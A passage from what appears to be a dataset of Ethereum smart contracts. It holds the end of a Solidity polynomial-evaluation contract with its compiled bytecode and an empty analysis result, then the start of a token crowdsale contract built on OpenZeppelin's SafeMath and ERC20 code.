add(0x1cdf0446663046f35c26d51e45a5233a93c51f4f7f1985dfe130dd67addefa3, mulmod(
add(0x6df73a948c95439f3230282814ba7e26203cfdc725901e4971ad9cff4db4396, mulmod(
add(0x9969a08d753e885857a5696d1cafd39f62bb193acc99089df76c240acd2fc0, mulmod(
add(0x2065bc7a4aa38d5fe86f9b593ccd060f8d4a5a19a9ca8b182c32199a4bd27be, mulmod(
add(0x611384709c407d85c93256b6aff04c4ac515450c70cf507994165abfe2347b, mulmod(
add(0x9460aa25f77fc10cfcc4579e2011e39ce477a32a768aa553201e556ed2bbe1, mulmod(
add(0x7f0a3bec1d34f2fd632993a3d9c6432401cec25ad9d6196b909f3672980bd05, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x47dc0e209ee8d0b67f63d9e63837ff2ab462c4839bc14a1a3e802327ff0e31f, mulmod(
add(0x35ca7fa56aa38486833a976804899ba3c97fdaa0a23056cd2dc9bfdbcdd2e31, mulmod(
add(0x575531b404cdba72a63dbbd17aef7d9ae00f73eca7c6dcdaf5e0778c921be41, mulmod(
add(0x319c68159cdf104c2543486ff784860f302187d77effb9a5fefe4e16f0ddc2c, mulmod(
add(0x49aadcf98ef59c0e5d2097845949988862b96194abc8c5453f056f232482892, mulmod(
add(0x5030fda0c29a929e6cd634b9f3d1bf975c363012cfb439cae13495f8ce10225, mulmod(
add(0x59cbe680183d1dc3161ee7f945f38ab9461a5293748b2b7be84899e62c9860b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x562f636b49796e469dfe9e6748c4468f340e8f69e3f79cfe6925a261198dbb3, mulmod(
add(0x7dd14b0299ff6064a96fe97e086df3f64a4c7e8b4a58a5bd5fe1b9cf7c61e7c, mulmod(
add(0x73c57ecea0c64a9bc087e50a97a28df974b294c52a0ef5854f53f69ef6773af, mulmod(
add(0x744bdf0c2894072564f6eca2d26efc03ef001bc6e78b34bf6be3a1a91fd90fc, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
}
return result % PRIME;
}
} | 0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80635ed86d5c14610030575b600080fd5b61004d6004803603602081101561004657600080fd5b503561005f565b60408051918252519081900360200190f35b60007f080000000000001100000000000000000000000000000000000000000000000180838181818181818181818181818f097f023a2994e807cd40717d68f37e1d765f4354a81b12374c82f481f09f9faff31a01097f049d16d6e3720b63f7d1e74ed7fd8ea759132735c094c112c0e9dd8cc465382001097f06c930134c99ac7200d41939eb29fb4f4e380b3f2a11437dd01d12fd9ebe890901097f0347dfb13aea22cacbef33972ad3017a5a9bab04c296295d5d372bad5e076a8001097f062e62fafc55013ee6450e33e81f6ba8524e37558ea7df7c06785f3784a3d9a801097f023b940cd5c4f2e13c6df782f88cce6294315a1b406fda6137ed4a330bd80e3701097ef524ffcb160c3dfcc72d40b12754e2dc26433a37b8207934f489a2036281370191508083828584878689888b8a8d8c8f8f097f0603e3a8698c5c3a0b0b40a79ba0fdff25e5971f0ef0d3242ead1d1a413e443b01097ea401d8071183f0c7b4801d57de9ba6cda7bd67d7941b4507eab5a851a51b0901097f037d720cf4c846de254d76df8b6f92e93b839ee34bf528d059c3112d87080a3801097f05057b804cff6566354ca744df3686abec58eda846cafdc361a7757f58bd336e01097f076b4883fd523dff46e4e330a3dd140c3eded71524a67a56a75bd51d01d6b6ca01097f01058ff85f121d7902521abfa5f3f5c953fee83e0f58e069545f2fc0f4eda1ba01097f04eac8ffa98cdea2259f5c8ad87a797b29c9dccc28996aed0b545c075c17ebe10191508083828584878689888b8a8d8c8f8f097f06e7240c4a94fa3e10de72070fd2bf611af5429b7e83d53cfe1a758dee7d2a7901097f059fef071cf1eeff5303f28f4fe10b16471a2230766915d70b525d62871f6bc601097e480d06bb4222e222e39ab600b8aadf591db4c70bae30fe756b61564eec6c7e01097f07d2292c8660492e8a1ce3db5c80b743d60cdaac7f438b6feab02f8e2aade26001097f05a593d928542a100c16f3dc5344734c9ef474609bd7099257675cef0392fab801097f0761717d47600662a250116e2403b5115f4071de6e26e8dc231840eeb4484ec301097f04b74b468c4ef808ddcc6e582393940111941abece8a285da201171dc50525c70191508083828584878689888b8a8d8c8f8f097f014ef999212f88ca277747cc57dca607a1e7049232becedf47e98aca47c1d3fe01097f047b2a5ef58d331c30cfcd098ee011aaeae87781fd8ce2d7427c6b859229c52301097f059bd7fe1c9553495b493f875799d79fc86d0c26e794cce09c659c397c5c477801097f03ede75d46d49ceb580d53f8f0553a2e370138eb76ac5e734b39a55b958c847d01097f06e0bed1b41ee1cf8667c2924ebd460772a0cd97d68eaea63c6fa77bf73f9a9e01097f0739edb8cdd16692deaba7fb1bb03f55dd417891bacb39c7927969551f29cb3701097f0247573f2f3fbd5386eac2d26851f9512cd57ad19773b8ca119d20852b9b65380191508083828584878689888b8a8d8c8f8f097f02f6efb89f27d2c0a86ec1e6f231b225caf2af9be01aca173a15fa02b11fdf2401097f075a0f99a4dec1988f19db3f8b29eeef87836eb0c3d8493913b7502cfedcef2801097f0278a7c68986adbe634d44c882a1242147e276fee7962d4c69ca4c8747b3e49701097f0675532b80f5aaa605219de7fe8650e24fee1c3b0d36cdf4fb605f6215afacee01097f05599e790bd325b322395d63d96cd0bd1494d4648e3d1991d54c23d24a71434201097f043545892bb5a364c0b9acd28e36371bede7fd05e59a9dcd875c44ff68275b2b01097f038db61aa2a2b03053f5c51b155bc757b0634ce89baace113391369682fc1f740191508083828584878689888b8a8d8c8f8f097f071b2b6b03e8cc0365ac26c4dbf71e8d426167d79f8bd1af44738890c563062a01097f03a663fc27ec3ad56da89d407089bcec0971cebcb3edf0c393112501919643d701097f01030d58878296e14b1c5bcafe7e817ebe4aa1039aa96b9d0dd7fc915b23f42a01097ecb3335374cc2a2350fe53d2389f04952c4d634f489031742dfccca17be2e0901097f06ae3ee97ea5dcfbb7c36cffd89665baf114fae391c0367be688db09861a8ca101097f07b16c33c4a8ffcecbd83f382469e1d00a340ceab5e7d9c0bd4fd010b83f431001097f010f236430f20aafda49d1c3e3759c510fdf0c0c19f89df6d5d71deac88b547b0191508083828584878689888b8a8d8c8f8f097f0104b04e96151f5103118c4eb556cd79899148fd6656e73cb62f41b41d65e4d801097f0253bf2869135f4bda4029cae2819b2f468ae88530f3ea771090b2727814c49401097f065d50aa3c1d84a3deee14057eec98656a1296cdcbe32250bfdaa50ffac4c5dc01097f076323f8567119897f10d58e1552c98f5a62f03a16d3737e20fc2b0a31a3a84301097edaee1c7b34ecb34717b7313dc4a299dd1a161447e2e0249426a6fc33a7228901097f02bfd1294f111a5a90842d19cffb97481aefbc09ab6c47d7dcf91ba228019c0701097f04f63db02e10fbe428a5dda8d9093feef46cc19568a3c8ad2fce7e75190040950191508083828584878689888b8a8d8c8f8f097f0761a240cd8aa2f135daf0760bfc2c9d5e896e93a45426571cdad9118722e2b001097f030a2e8ac9e6605fd722dffb4caca8c06dd4a8968a7bf41a5371cb1a07d11c0001097e5ba89e0eb3830039d0f8a9ca00acef15db22374c965b01abc49dee46270a7d01097f07e8659c39d7a102a198f0e7c3814060926ec0410330dd1a13dfadeab4e7459301097f05a00feeb391114d7b976654ab16ddf8360f05671b34d4a97da278c0aef34d7601097f033ff2d848bf237f536524da818598ae0f2516ebee526b77957448973eefacd301097f04e0a5dd802deed7cb8d06527beb15dad32547bae77141c32473f4c8148912e30191508083828584878689888b8a8d8c8f8f097f0776459dfedbbdfcef7a31e0f60c6480fc0676b280fdb6290859fe586d6e610601097f059d0d8ca9ecda81081dfcae7580ab3c08a72195438c1556000c0c1dbdc0817401097f06eb66d366da57e4ae717307dfc3351579fe857c51aa82b95044473c9ed1437701097ea758a70ba6a0cbcbc65abfeca51359904f790752c3df55d42707253d8dea7001097f02046e1b4fd4c108e8f832f5bcc4dd46abf0d19ef0237beaec29d6c12fb9832e01097f0472d99d1a6e1a6aef339eab1af3d53af7a8326e4d0a6bac73c3a159031c368601097f01b0fa36439192f135c239918bf47ad14b55ced699f4582d929a60dd227b34ff0191508083828584878689888b8a8d8c8f8f097f0728dd423dbf134972cbc7c934407424743843dd438e0f229afbcca6ce34d07d01097f04e42531395d8b35bf28ccc6fab19ea1f63c635e5a3683ac9147306c1640e88701097f01ea9bd78c80641dbf20eddd35786028691180ddcf8df7c87552dee1525368ba01097f068a8c6f86a8c1ebaeb6aa72acef7fb5357b40700af043ce66d3dccee116510a01097f025c5f348c260177cd57b483694290574a936a4d585ea7cf55d114a8005b17d001097f0339b405bffb6dbb25bc0432e9c726b7f94e18cf1332ec7adfeb613345e935ab01097f023590dabe53e4ef12cba4a89b4741fcfaa232b7713d89df162031c8a627011e0191508083828584878689888b8a8d8c8f8f097f0534a4f3cf71c93023e473f12e407558b6c24b712204fd59ddc18c7bcddd571e01097f02e1b2a3c32aebc0be30addd8929c01714783aaf01be8a1d35e830646e8a54f001097f0605a244f646a825602891bf9ddffef80525010517b32625759b0bf5a7f2c38601097f04f81a946bb92416d212e4d54f2be5fa8043be6fa482b417d772bfa90be4e27301097f0655038ca08eba87484bc562e7fd50ce0584363278f9d716e31c650ee6989a2b01097f044938959c2e944eb6e5c52fc4ee40b34df37905fa348fa109f6875c1aa1800001097f030b11c32e8aab0c5908651a8d445395de52d5ce6a1efe75f2ad5e2c8c854a300191508083828584878689888b8a8d8c8f8f097f04a92733a733f225226a3d7f69297e7ff378b62c8a369e1bbf0accfd7fb0977e01097f01345876a6ab567477c15bf37cc95b4ec39ac287887b4407593203d76f85333401097f0580550e76557c8ff3368e6578a0e3bed0bac53b88fefdde88f00d7089bc175d01097f07d7faca17be1da74cf132dda889a05fce6e710af72897a941625ea07caa8b0101097f062be425458d26cfedf8ec23961cdfd9f4abeb21f1debbe87bd51469013358fe01097ed77a8e8eed7ce4931a6d2a4774c21864e2c9f468d080af9aba6756433a1a8d01097f03e850e31c0345726c1ace38537dd88a50c85d6819ae98add1bbd62b618f7a1c0191508083828584878689888b8a8d8c8f8f097f0375a5d9b11c83d06a04dc9f1908b8183adc6f04e5b2ceeaa23d3b68c973ee7701097f076640613af9ed1a125624e0c38252bee457ce87badb24fc4f961e55883d907701097f05428ff423f2bbabcb5f54aafa03d99a320b4b255115351f50b229eae552217801097e6dcfc3a99563a5ba4368ac4f11f43e830c5b620a7273330e841bedec0bfb5a01097f02652523cbbec2f84fae1a17397dac1965127650479e1d5ccfc6bfbfcbb6799601097ea737d6916aa6a869252d8ff294a55706e95e0844e6b047755704e37d978e0901097f02833391a62030808228d14437d6f91b31c0038c14988a23742b45e16f9b84b50191508083828584878689888b8a8d8c8f8f097e284f7815a7eabc1dcf56da511f7d739f1a199f8ffaf3474f645d2fc93327dc01097f01e141c5429a369996563573bf61d7f713cb7d25baadff636ba2756c65a910ee01097f060bdb98c079bd5cef216803b056afce03f6ea41934275c965d6e196240fb95301097f07f2abefac9e7f8109b0a2d25d0bd297059e45dd66798ac8b299f0a3e442dd2c01097f041776c662b44a36c7075097c14b6010cb321591a4eca2866d58252eaf9471ac01097f0573b13b32161c11c9b16eff7cf93fa770a3ef667547a27503e39092aeabf73e01097f0327319fcc0d34a0d64f5acab00244b43674a60bef754844fb2920c87c90cff00191508083828584878689888b8a8d8c8f8f097e755f0e4c374e2fa4aa7eda10041e2139a4a7793eea44f415c73ad4fcba175801097f07b9cd3b277f00a75a17961d2d8e46e6a1838c8500c569cdcad08bd4e0cbae8401097f021f5ea8660d290f28b9300e02ed84e110d7338a74503b369ad144a11cf79f6301097f05e4b0ecc6a6c15ed16c1c04e96538880785ff9b5bff350f37e83b6fed446f1401097f03d8506e792fa9ac86ac9739d3d5bf63cfc13c456a99c8581adf590c8d9b72eb01097f01e3b6498f0daba2fd99c2ac65461c3fa519cb738b53cd6f002e97199fa4161c01097f070930735d913d54915fba20c97f07cba8f33eb8f4f81fd869699a10e83264cd0191508083828584878689888b8a8d8c8f8f097e16a36769ee50227c564bebce3d9cd7c4ca55702a7c7ccf403075f68f05a0c201097f03aa748723229eb8b33354e0901f50ad052b6c1006916790c979133c4442be9001097f05db8c52b6adb520496f9edd7105c92df67e8605ff4e0cc59992c3eb651ac7a401097f04b2222d0aee638c7e5efd8ada791638ac155a01b78f3b532283574653998bb201097f026a4b2a61f40c1ad77737b99cb27d2f3118622be64f0120907e2589d2f25ebf01097f05820792f23a13d58ddef0607950d422598bb1f21888dace88929fbe7d4828c401097f03678de28b6896959edf5c9dc0caec59b02dfbbf54811f87939b32d0523f58bb0191508083828584878689888b8a8d8c8f8f097f03cd13f84bb7ae6eeccc1012837d2f3e017f069e66cf047172bc70371f5aed3801097f07af8995e2ceed8841e34d44365c7ca14f5980a6a5c67b9813fa7bfd74a9c1b101097f06d7af6524127a117184a0c12a6ff30d28b14933a4e96bb3b738d2a36db72e8401097f073200d12e733294b5cbb8ffe7fb3977088135d0b0e335135f9076d04a653c5801097f0229d7fc2a1bcfbe00d5773f8dadd70a2641d8578fa73e66263b3512d3e4049101097f029889daac66c404d6491ec3a435d810a2877d885df1a3a193697b79b4af39c401097f0171f0638dedf0b69655fa9930bcbc91b257e299a6717bd8ea23ef550c8faff50191508083828584878689888b8a8d8c8f8f097e0ded0f75cd0a6a5401a954d26880eaf12050ce6458d3254c9dd6354bf6627801097f07fc7d854c9d0b3bfbf826c384b3521af0f29f975613e8ea6dc14f37d8beb54c01097f06d1c3edcf1de16a4e0ad7d8aa099a31fa2cfbf81f6d1a5798bd1ef93ff906af01097f03444c0f008988c8f600270b365ff926f016e49a54ab35bac4f3b3a42a5879b101097f02a48058c77edcd75dd4323d9bb9eccb854009b1184fd716a8202f8627bb544701097f056cbe248ebbc2f57ca8b943b219ba245791592f687815293a4499ef598fa9b701097f0658160ea7b654d786dc624b258c691f594e080610c2d41d6ebea0d8e33968490191508083828584878689888b8a8d8c8f8f097f06fcc261ded0ba97b4defc7c9bcd32b5dac89e4c08cb55cef98c6b50f5a3a28901097f07b74edd15d97b289da4040272cfc573f69a8c9a8b36d05e3e50b598508b7f9d01097f019637a12aa8b822c4a3f3551ef6c538043371a12a962de1dc25d67e0a5ee56101097f04c05a7abaaf08f21d93b2257d4f4a3ab2b44f4ac44ce0444418c864ca18470b01097f0657060a10db73c4a9b6aa6288dd6164e0b50a4e6efbc2ee599a0cf4fda33b8101097f0688c61ee887c1497ffcef82163f1a81bf7778f2c314ffbd325627bf0b25dc5a01097f054ab13ae1984dcc7d38c867a47f4a8cf786079ee07cc94ab5ec1962c21f638b0191508083828584878689888b8a8d8c8f8f097eccee381472bb7dcae008316038c87a44fd9295f730e389eff14e86442c41b801097f0610bf9b7ea4557d72411ec90fb677f9a2ccb84c76f003954da4e7f439c9a84c01097e51d6322f7d582892421e977464b49c4e6e64af2438da9a7f21a061c77712dc01097f07d92a463e2aec09eb86f4647dc9ec241904135b5eb53ea272e809e58c0a271e01097f017ab90241b58bd3bd90b8a5c7f30aa9e5afeedbe1c31f21ca86c46c497b573c01097f0199d80ad30b4b330fc8a063d1e87307993e1d98822a1729488ba8a58604569101097e601a139ed75acbecf557cd6513171385a119087585111c30bbc1b65cd6d30d0191508083828584878689888b8a8d8c8f8f097f077b10e23b08892ab18cc6b14dfda6f4be5c2fec94a12e3622622376edd0d6a801097f02a17a5c34f9f598deb5bec334fde606eaa5601df908eb5825ecf70f9cecec3f01097f07e176a66dcfd58e240c4546cd760b7e5ad02e4f0265c6a2f38d710bbdf99d5501097f027e76848780aba5b12061bffefff1710995586618a2f32792d62771d31ed51901097e043f51dfe0f1cf290c9a522e2a5e734f79d220be80348438c676295c3d429e01097e0f1f93c3d919653f02fba06fcba1ab89497fff53eceff6a7d129887d5a9e3b01097f079fd6f5f9b042ece36af6b10eae2eef9de9c9dd18752eb66868a0c301015dd90191508083828584878689888b8a8d8c8f8f097f01958435eb08883bd69b6a56a8f3103c22f8ae206a3d4deaf4a04118b4dd6a6c01097f0329230075f64ffbf631eb0c40b97d71b4dc38a08bd18b638f57e5644680068c01097f0219557f1604be8622e697e986c03d2a49e40cce558a264bf4f1ebe06493eceb01097f07238f034b8c57c8b59b0f744ababf9da8229152a051d4f3b3c4995233ac111101097f0201019c76d9aa29a00e6b18a4eeac7b1322b44285c57cf4c0b68a87120b1d3101097f069d95f3c7892a1cf65b45c324be2294c4c5459e05e0feaa0b8bb98cd8bc958f01097f078aafbe80fa5ee9a846e991bf35b81567a6dcbb1b190e7ee47e53fc66422e840191508083828584878689888b8a8d8c8f8f097f015ba3c5a882d4dfe3e23db18368ade6b2d10ef52e34f12ce0d62e7183c10f7e01097f01a4bdaf2bff969eff8cef73e762b6346492b8d0f17b2e42956c526f625241ea01097f04adaabee9ab3c6ee7fc67a2ddc09c5185755dcc76cc3b814a6b71aa7ae542ea01097f02f47cde744314dc0502faffb0387a2e765e4354b0516ee9ab0b97a1b6c33ec201097e90b2b18b3fc2919a55b71ad6d6fa67dda752bd02c985b59e6554f557fe4a2e01097f06eba866251e1dca38a21c8b3fad0aa3c22a45dd89884c4c68bd7ef67de64f5201097eb8dd33ef8726747fb368aedf80c2f4a720bc1b5220f4a3f0e56e2fafb7e2430191508083828584878689888b8a8d8c8f8f097f01fac2f441d05a3b483675200cb1ebc6f4ca6ecc5ae60118fe8745f95217bf8b01097f06d28879c6f75c4ede18e1b94ffff964d08c79038fd9ba2e7873cbefb5f323db01097f028b38e0334fc06af4c94ec4f9434923d4149cc51817526597423fd4692c59ad01097e84add7269e2e41ea57aaed996f4c012ba7003ea2b994670cc0d554b7a8bd2a01097f064d672ca00300ddd5e9c9d2db433d7623bb54c8eb2db51b235a07616f1517e501097f07f71cb5526600d15d3413ec971ee3b133718224b3cbdc68171a53d7c868438201097f038e5702bb10256e1856a5bfb03a06b231b89a36e2f84af80bcd2d027153d8470191508083828584878689888b8a8d8c8f8f097f01a8d4b2044b8e03b325c353f3f92283013920b92f479064b6e93159d2ed3ba001097f068384718bd3bb23f32999f1edcb2dbddd8136259e676c4492d0cafe80ffd85601097f031a77aa370bb597dbdd0422612a7dd947aae09a5b0b17d1996f13a85103d15001097f040a9cea0394d15ef057c2923d4185f290fe2347e00529d92f927ef506e3b5e701097f02a427d70a34b6b5237894f065ef5d60a9872ba444d47d98648b080b8ddb2a6801097ee505592d606917f898c54a7afc45b328be3cd48121aee2e8f05185a3e23e5f01097f045b4e74f19b293bc3d3d172a101e344558fcf4ccfe5eecefe31f45a45614df70191508083828584878689888b8a8d8c8f8f097f068486394265c9dc8fae42c8fd39605d3179c981cb44cbe33740a3deb907bc5901097f02868a08eae382c069047152ee964ac5ebd242b44267e97e578802440ef764f501097f03159144c85f2c515eb806e5aedd908553057b69c556d226adc6e4511a35423c01097f04387edee6899d4a85883d2f8524978a4634ff82779f150b7b0c861bb315ed3f01097e68c5830832f6270a189b074d7675fcbc1d1c5cc06ce9c478bf8f4d5ac1bf4001097f0399c00b8ebb398248bb1f52528d5241e7366b73c2d89f57a11dc82c530cc57c01097f03238aeb8f6bea8bcaaa1bdd5b4f917ccfad8eab031785ccdc648b47d7ea4be80191508083828584878689888b8a8d8c8f8f097f0357bf5d87c973292381fa4320114551a837a1d6cb6e2bb0eeba534fb2e0174201097f0360274f27df6eeec0b7b65fbb227a8214ac3e55cb37b1970e18489ef5b574e101097f01cb6e2fba23730f5bf9d8e726569b6e8bf6b5ffe8520339503c5469cc3713a201097f03924324af1994280f87f289fdae0b9a2d8cb9914ec37d319c18daf02921181501097f03c4ad04a5a057e4411487858dbe16af8e3fc065ef7400749ffdc248bdb25bc501097f050c92b3e6848a21001be2a268615e1e26cb4918ecb09640efaaf1d8b71568fb01097f047d21828025d0cbab84084965a49dd14c7833aac562b55de808a94777df2ea30191508083828584878689888b8a8d8c8f8f097f06207c6a2fd70c19a10430566c9efaad95eab8cbddf308f0057c81f3155a25a001097f02d4acebd804035257147ad8d8419a5f5762b4b543c4846ef9acf41856e672ee01097f078f49c214872b5cce18ead0207a165fb741ea818a69cfe9647737323f70f4f501097f022aa8c5c5ff26f9a0edc768ae32ff4f71a71205b4e83cfa0cc687a1e02566ba01097f05dd2e0680c7eff25211f31d3c30a9f454500d6eb09d46d87a75a42b190203cb01097f05ac4bcdb9c14634ab83c13a30822ddbabc54248cf1177b11cc2aed24d2d32f501097e77dee5f03389585fad0d1f2a8accfa4cb985344891b8befaee42f3462cb48a0191508083828584878689888b8a8d8c8f8f097e0737dba18eb055a12d842bfae32fd146dcd2d7bb932a2591aa864458d6d65201097f023bf372b0b59abf250463697ef4b2096eb1c9674613918b4d0c79aa10d9fd5901097f073724274fdd351c378e597da1615dc51058e14994464cb7b318766199ac2a3501097f02e14e83be58cde3ed5f3fec8ba6462493a4a2f0f7d6c846006220eccd49ef2501097f04846d310812d81ffda3731e8289005e2f0e05411e76b1c84332c3ee9e831afb01097f0160abeb38bc4f22af5fe618c19c77c39903007900722bdbdeaee059f31544c801097f0264a535ae10091157ed59b04955dff66897af74cae20456bb830336b803ae470191508083828584878689888b8a8d8c8f8f097e316ce6b23e720b8302e2d4bd968c0f140f69930e46a54784a7cee7e0b8a0c801097f0775d95a0beb287c98663a3f9a9c577ffc67c1fe6fbe2db5b08829a2c3eac92201097f02353c4a418bdc1e461be162140cc69c26eb9d99f08924991f85058f87f6df4101097f0181ef9cde124459dc0e2aaf93512abd49a10328fb93dfc4d49ab671db64bbc401097e7ff76956e0cd2b490b47a0a0497df5f874cf47f54c45f08101256429b4846001097f0318e5a52d685eaa06e0f39159a344b3d97b52688b671d133954aeff0bc1770701097f07616cfc6834643d4b95ed1cfec036f816a7c3d3b9800f301f98ddf341712ebf0191508083828584878689888b8a8d8c8f8f097f059869515fb57ea7733567e5d849bcaa00c00e0f86f4ebbd2c7a6f4c0c77692b01097eb806f4e19770279fab5427b8eaf5bc68bf984d6ccea1e878a7aaf32c9975d901097f04fb0c93fe30da048576fe5e839483636218dfdda3d05f1d68847a4c0167597f01097f0685af2d7bbf30cd0c5c3d41c430a8657eeafeeb4596165faaa73d802087ad8001097f06f617dce150ea148cb8c7488fe4caa920b2000bc8122cce1891e4b76cddc9d401097f047f02fc512b153462379f4f793c7cab9e659bfdb07d3439d29039f566b7236d01097f04ce0a14a5a9c30a38062eb8870eeb4ff3562db743c0f3eede2e3d3862a2eb7c0191508083828584878689888b8a8d8c8f8f097f07b077d27c7007656025224fa4e528b4c4261f43c3da1e42bd1349403af55cbb01097f050f5f6adbf0b9abc6e231b855018f4ec806a4f199cc511bed5c423ebef298e401097f05fcfeb78685abb1ce610e516ab7e2aa210fd90844c8d1c89cd798f3d71bbcb301097f04255a568f4597862e1dfe0c391b97059d179d7eb4d868f61364835e5028f9dd01097f0206d7f23d0fe1b1c0967486ebb792d7fdf5b1691d2c2f9306e211d3b849526b01097ec61c74cc988663ee09f4c725d5b1f04549bd342d3550ce17427ac75592b63701097f0175a904681c7a91856bf7fcf8410d2c19eb8705267914489664a1ea2af5b8fe0191508083828584878689888b8a8d8c8f8f097f01bd842a4ec97e1489ceb542bd3161e5a00ce431547bfadfbced954d993b0a1101097f014899e0f97aac917d46ce5e9ddf11194fb846d2c52726af4085f27c570a98a901097e842955243a56778a332ba9be0b22b2af62efaa50068d3078675fb76c225e7601097f06dff267c3bbce68474294da908df4f5cf2a4160c638f7cb45c098057e968f4401097f072c0dd24a576b47a84cdd1a20227773b5621f85b781c288625e3368e1cf738a01097f0728771890334d0c9b0f400543bdc13ea6890497bc87c509a04f8014916c13a501097f030632b3865a272a1a00270430744ee90b40ff16e1fc44515876ce8e36215ca00191508083828584878689888b8a8d8c8f8f097f076d656560dac569683063278ea2dee47d935501c2195ff53b741efe8150989201097f01dbdc2ea2e555309578eeb2352fbc47c8fd5ed77cc09903b577700f9a4d1be101097f0119bcf6402ad9953851bac8e318d50af699b0cc75e2597aff0a2cc521975aa401097f07c3234094dff9a45064a5b9abd0667c04dd76c62722984f7f8475e7cc344c0601097f01495d40cf3f13c5fc90653c2b2f02e0b833790c07576286d3127f745ea920ae01097f040f019a18b8097235264cb8efee7d149321a199ccd32ffac43b5a778dfadda101097f04e23809ce49747990e43b2d976083dc84d67e75cf22e5a76ad5b7a2dca50b3d0191508083828584878689888b8a8d8c8f8f097f07f0a3bec1d34f2fd632993a3d9c6432401cec25ad9d6196b909f3672980bd0501097e9460aa25f77fc10cfcc4579e2011e39ce477a32a768aa553201e556ed2bbe101097e611384709c407d85c93256b6aff04c4ac515450c70cf507994165abfe2347b01097f02065bc7a4aa38d5fe86f9b593ccd060f8d4a5a19a9ca8b182c32199a4bd27be01097e9969a08d753e885857a5696d1cafd39f62bb193acc99089df76c240acd2fc001097f06df73a948c95439f3230282814ba7e26203cfdc725901e4971ad9cff4db439601097f01cdf0446663046f35c26d51e45a5233a93c51f4f7f1985dfe130dd67addefa30191508083828584878689888b8a8d8c8f8f097f059cbe680183d1dc3161ee7f945f38ab9461a5293748b2b7be84899e62c9860b01097f05030fda0c29a929e6cd634b9f3d1bf975c363012cfb439cae13495f8ce1022501097f049aadcf98ef59c0e5d2097845949988862b96194abc8c5453f056f23248289201097f0319c68159cdf104c2543486ff784860f302187d77effb9a5fefe4e16f0ddc2c01097f0575531b404cdba72a63dbbd17aef7d9ae00f73eca7c6dcdaf5e0778c921be4101097f035ca7fa56aa38486833a976804899ba3c97fdaa0a23056cd2dc9bfdbcdd2e3101097f047dc0e209ee8d0b67f63d9e63837ff2ab462c4839bc14a1a3e802327ff0e31f019150808382858487868989097f0744bdf0c2894072564f6eca2d26efc03ef001bc6e78b34bf6be3a1a91fd90fc01097f073c57ecea0c64a9bc087e50a97a28df974b294c52a0ef5854f53f69ef6773af01097f07dd14b0299ff6064a96fe97e086df3f64a4c7e8b4a58a5bd5fe1b9cf7c61e7c01097f0562f636b49796e469dfe9e6748c4468f340e8f69e3f79cfe6925a261198dbb30191508082816125d857fe5b06939250505056fea2646970667358221220eb0b1be1409f6ede0bee5a4d2120d26e96b1669ad48f789169212094fdbfd74a64736f6c634300060b0033 | {"success": true, "error": null, "results": {}} | 655 |
0x2c26994e27238b383a7de0e55159c6c720043530 | pragma solidity ^0.4.19;
// File: node_modules/zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules/zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
